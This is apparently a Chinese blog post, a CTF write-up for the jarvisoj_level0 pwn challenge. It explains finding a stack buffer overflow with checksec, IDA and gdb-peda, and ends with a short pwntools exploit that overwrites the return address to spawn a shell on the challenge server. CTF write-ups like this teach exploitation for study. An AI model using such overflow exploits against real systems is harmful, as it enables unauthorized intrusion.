jarvisoj_level0

最新推荐文章于 2023-08-20 20:27:09 发布

[mzq]

最新推荐文章于 2023-08-20 20:27:09 发布

阅读量452

点赞数

CC 4.0 BY-SA版权

分类专栏：胖盒子 ctf 笔记文章标签：网络安全

本文链接：https://blog.csdn.net/zip471642048/article/details/122538138

笔记同时被 3 个专栏收录

113 篇文章

订阅专栏

ctf

107 篇文章

订阅专栏

胖盒子

7 篇文章

订阅专栏

本文介绍了一个简单的PWN题目解决方案，通过使用IDA查看程序并利用gdb-peda进行调试，发现了一个可被利用的缓冲区溢出漏洞。通过构造特定的payload发送到目标程序，成功获得了shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

jarvisoj_level0

pwn的最简单的题目了，难的我是真不会了，说一下做题思路

首先拿到题目checksec检查一下开了什么东西
在这里插入图片描述
64位程序什么都没有开，太好了，开了东西就不会了~~。

ida64位查看shift＋F12看一下，看到了、/bin/bash和system，然后就是Hello World
在这里插入图片描述

查看main函数
在这里插入图片描述
跟进vulnerable_function，很明显在这里发生溢出，buf的大小只有0x80但是缺接收了0x200导致溢出

gdb-peda调试程序，创建150用于溢出的字符串

可以看到已经可以溢出到rsp，我们计算一下溢出的长度等于136，接下来可以编写exp
在这里插入图片描述
exp

from pwn import *
io = remote('redirect.do-not-trust.hacking.run', 10224)
address = 0x400596
payload = b'a'*136
payload += p64(address)
io.recvuntil('Hello, World')
io.sendline(payload)
io.interactive()

拿到shell了
在这里插入图片描述